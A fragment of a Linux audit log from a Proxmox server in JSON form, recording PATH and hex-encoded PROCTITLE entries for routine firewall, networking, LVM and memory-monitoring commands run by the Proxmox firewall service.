rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.783:66871): proctitle=\"iptables-save\""} {"@timestamp":1781965705233,"@rawstring":"node=pve type=PATH msg=audit(1781965705.233:66740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.777:66870): proctitle=69707365740073617665"} {"@timestamp":1781965705233,"@rawstring":"node=pve type=PATH msg=audit(1781965705.233:66740): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.769:66869): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965705227,"@rawstring":"node=pve type=PATH msg=audit(1781965705.227:66739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.762:66868): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965705227,"@rawstring":"node=pve type=PATH msg=audit(1781965705.227:66739): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.402:66867): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965705216,"@rawstring":"node=pve type=PATH msg=audit(1781965705.216:66738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734379,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.379:66866): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965705216,"@rawstring":"node=pve type=PATH msg=audit(1781965705.216:66738): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.114:66865): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705205,"@rawstring":"node=pve type=PATH msg=audit(1781965705.205:66737): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.114:66864): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705205,"@rawstring":"node=pve type=PATH msg=audit(1781965705.205:66737): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.114:66863): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704983,"@rawstring":"node=pve type=PATH msg=audit(1781965704.983:66736): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.109:66862): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704983,"@rawstring":"node=pve type=PATH msg=audit(1781965704.983:66736): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.108:66861): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704961,"@rawstring":"node=pve type=PATH msg=audit(1781965704.961:66735): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965734.108:66860): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704961,"@rawstring":"node=pve type=PATH msg=audit(1781965704.961:66735): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965729101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965729.101:66859): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704018,"@rawstring":"node=pve type=PATH msg=audit(1781965704.018:66734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965729101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965729.101:66858): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704018,"@rawstring":"node=pve type=PATH msg=audit(1781965704.018:66734): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965729101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965729.101:66857): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704018,"@rawstring":"node=pve type=PATH msg=audit(1781965704.018:66733): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965729092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965729.092:66856): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704018,"@rawstring":"node=pve type=PATH msg=audit(1781965704.018:66732): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965729092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965729.092:66855): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704012,"@rawstring":"node=pve type=PATH msg=audit(1781965704.012:66731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965729092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965729.092:66854): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965704012,"@rawstring":"node=pve type=PATH msg=audit(1781965704.012:66731): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725749,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.749:66853): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965704012,"@rawstring":"node=pve type=PATH msg=audit(1781965704.012:66730): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.745:66852): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965704011,"@rawstring":"node=pve type=PATH msg=audit(1781965704.011:66729): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.745:66851): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=PATH msg=audit(1781965699.003:66728): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.743:66850): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=PATH msg=audit(1781965699.003:66728): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.739:66849): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=PATH msg=audit(1781965699.003:66727): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.729:66848): proctitle=\"ip6tables-save\""} {"@timestamp":1781965699003,"@rawstring":"node=pve type=PATH msg=audit(1781965699.003:66726): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725721,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.721:66847): proctitle=\"iptables-save\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=PATH msg=audit(1781965698.996:66725): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.713:66846): proctitle=\"ip6tables-save\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=PATH msg=audit(1781965698.996:66725): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.703:66845): proctitle=\"iptables-save\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=PATH msg=audit(1781965698.996:66724): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.699:66844): proctitle=\"ebtables-restore\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=PATH msg=audit(1781965698.996:66723): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.695:66843): proctitle=\"ebtables-restore\""} {"@timestamp":1781965695192,"@rawstring":"node=pve type=PATH msg=audit(1781965695.192:66722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.687:66842): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965695192,"@rawstring":"node=pve type=PATH msg=audit(1781965695.192:66722): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725682,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.682:66841): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965695188,"@rawstring":"node=pve type=PATH msg=audit(1781965695.188:66721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.673:66840): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965695188,"@rawstring":"node=pve type=PATH msg=audit(1781965695.188:66721): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.667:66839): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965695186,"@rawstring":"node=pve type=PATH msg=audit(1781965695.186:66720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.660:66838): proctitle=697073657400726573746F7265"} {"@timestamp":1781965695186,"@rawstring":"node=pve type=PATH msg=audit(1781965695.186:66720): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.650:66837): proctitle=\"ip6tables-save\""} {"@timestamp":1781965695186,"@rawstring":"node=pve type=PATH msg=audit(1781965695.186:66719): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.641:66836): proctitle=\"iptables-save\""} {"@timestamp":1781965695182,"@rawstring":"node=pve type=PATH msg=audit(1781965695.182:66718): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725638,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.638:66835): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965695182,"@rawstring":"node=pve type=PATH msg=audit(1781965695.182:66718): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.633:66834): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965695182,"@rawstring":"node=pve type=PATH msg=audit(1781965695.182:66718): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.633:66833): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965695174,"@rawstring":"node=pve type=PATH msg=audit(1781965695.174:66717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.633:66832): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965695174,"@rawstring":"node=pve type=PATH msg=audit(1781965695.174:66717): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.625:66831): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965695166,"@rawstring":"node=pve type=PATH msg=audit(1781965695.166:66716): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.613:66830): proctitle=\"ip6tables-save\""} {"@timestamp":1781965695166,"@rawstring":"node=pve type=PATH msg=audit(1781965695.166:66716): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.605:66829): proctitle=\"iptables-save\""} {"@timestamp":1781965695155,"@rawstring":"node=pve type=PATH msg=audit(1781965695.155:66715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.593:66828): proctitle=69707365740073617665"} {"@timestamp":1781965695155,"@rawstring":"node=pve type=PATH msg=audit(1781965695.155:66715): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.582:66827): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965695148,"@rawstring":"node=pve type=PATH msg=audit(1781965695.148:66714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965725571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965725.571:66826): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965695148,"@rawstring":"node=pve type=PATH msg=audit(1781965695.148:66714): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.264:66825): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965695142,"@rawstring":"node=pve type=PATH msg=audit(1781965695.142:66712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.239:66824): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965695142,"@rawstring":"node=pve type=PATH msg=audit(1781965695.142:66712): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.081:66823): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695135,"@rawstring":"node=pve type=PATH msg=audit(1781965695.135:66711): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.081:66822): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695135,"@rawstring":"node=pve type=PATH msg=audit(1781965695.135:66711): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.081:66821): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695128,"@rawstring":"node=pve type=PATH msg=audit(1781965695.128:66710): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.075:66820): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695128,"@rawstring":"node=pve type=PATH msg=audit(1781965695.128:66710): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.075:66819): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695122,"@rawstring":"node=pve type=PATH msg=audit(1781965695.122:66709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965724075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965724.075:66818): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695122,"@rawstring":"node=pve type=PATH msg=audit(1781965695.122:66709): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965720768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965720.768:66816): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965695116,"@rawstring":"node=pve type=PATH msg=audit(1781965695.116:66708): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965720769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965720.769:66817): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965695116,"@rawstring":"node=pve type=PATH msg=audit(1781965695.116:66708): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965720766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965720.766:66815): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965695108,"@rawstring":"node=pve type=PATH msg=audit(1781965695.108:66707): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965719065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965719.065:66814): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695108,"@rawstring":"node=pve type=PATH msg=audit(1781965695.108:66707): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965719065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965719.065:66813): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695097,"@rawstring":"node=pve type=PATH msg=audit(1781965695.097:66706): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 